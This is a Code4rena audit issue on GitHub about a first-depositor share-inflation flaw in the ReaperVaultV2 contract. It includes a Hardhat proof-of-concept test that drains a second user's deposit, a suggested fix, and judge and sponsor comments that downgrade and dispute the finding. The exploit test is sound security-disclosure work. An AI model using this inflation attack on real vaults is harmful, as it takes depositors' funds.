Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReaperVaultV2: FIRST DEPOSITOR CAN BREAK MINTING OF SHARES #349

Closed
code423n4 opened this issue Mar 3, 2023 · 6 comments
Closed

ReaperVaultV2: FIRST DEPOSITOR CAN BREAK MINTING OF SHARES #349

code423n4 opened this issue Mar 3, 2023 · 6 comments
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-848 grade-b Q-81 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax satisfactory satisfies C4 submission criteria; eligible for awards sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L331-L336

Vulnerability details

Impact

Users may can not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large "donation".

Proof of Concept

Considering two users: User1 and User2

  • User1 deposits 1 wei to mint 1 share

  • User1 transfers exorbitant amount to the vault contract to greatly inflate the share’s price. Here we trnasfer 10 Unit and the share become (10 Unit + 1 wei)

  • User2 has to deposit an equivalent sum to avoid minting 0 shares. Otherwise, if User2 only deposit 10 Unit, he will get ZERO share and his deposits accrue to the User1 who holds the only share.

  • User1 withdrawAll to get User2's deposit.

Insert this test into starter-test.js.

it.only('ZERO share issuance', async function () {
      const {vault, want, wantHolder, owner} = await loadFixture(deployVaultAndStrategyAndGetSigners);
      // Two users 
      const depositAmount1 = toWantUnit('11');
      const depositAmount2 = toWantUnit('10');
      const [, , user1, user2] = await ethers.getSigners();

      // send somen tokens to user1 and user2 and setup approve
      await want.connect(wantHolder).transfer(user1.address, depositAmount1);
      await want.connect(wantHolder).transfer(user2.address, depositAmount2);
      await want.connect(user1).approve(vault.address, ethers.constants.MaxUint256);
      await want.connect(user2).approve(vault.address, ethers.constants.MaxUint256);
      // setup role
      await vault
        .connect(owner)
        .grantRole('0xe16b3d8fc79140c62874442c8b523e98592b429e73c0db67686a5b378b29f336', user1.address); // DEPOSITOR role
      await vault
        .connect(owner)
        .grantRole('0xe16b3d8fc79140c62874442c8b523e98592b429e73c0db67686a5b378b29f336', user2.address); // DEPOSITOR role

       // 1. user1 mints 1 wei = 1 share
      await vault.connect(user1)['deposit(uint256,address)'](ethers.utils.parseUnits('1',0), user1.address);

      // 2. do huge transfer of 10 Unit 
      // to greatly inflate share price (1 share = 10Unit + 1 Wei)
      await want.connect(user1).transfer(vault.address, toWantUnit('10'));

      //3 user2 deposit 10 Unit
      await vault.connect(user2)['deposit(uint256,address)'](toWantUnit('10'), user2.address);

      // User2 get zero share
      expect(await vault.balanceOf(user2.address)).to.equal(0);
      
      // User1 withdrawAll to get the tokens of User2
      await vault.connect(user1).withdrawAll();
      expect(await want.balanceOf(user1.address)).to.equal(toWantUnit('21'));
      
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Ensure the number of shares to be minted is non-zero:

if (totalSupply() == 0) {
    shares = _amount;
} else {
    shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
}
+ require(shares != 0, "zero shares minted");
@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Mar 3, 2023
code423n4 added a commit that referenced this issue Mar 3, 2023
@c4-judge
Copy link
Contributor

trust1995 marked the issue as duplicate of #848

@c4-judge c4-judge added duplicate-848 satisfactory satisfies C4 submission criteria; eligible for awards labels Mar 10, 2023
@c4-judge
Copy link
Contributor

trust1995 marked the issue as satisfactory

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Mar 20, 2023
@c4-judge
Copy link
Contributor

trust1995 changed the severity to QA (Quality Assurance)

@c4-judge
Copy link
Contributor

trust1995 marked the issue as grade-b

@C4-Staff C4-Staff reopened this Mar 27, 2023
@C4-Staff C4-Staff added the Q-81 label Mar 27, 2023
@c4-sponsor
Copy link

0xBebis marked the issue as sponsor disputed

@c4-sponsor c4-sponsor added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label Mar 28, 2023
@0xBebis
Copy link

0xBebis commented Mar 28, 2023

it's explained in docs that only depositor allowed will be the protocol

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-848 grade-b Q-81 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax satisfactory satisfies C4 submission criteria; eligible for awards sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue
Projects
None yet
Development

No branches or pull requests

5 participants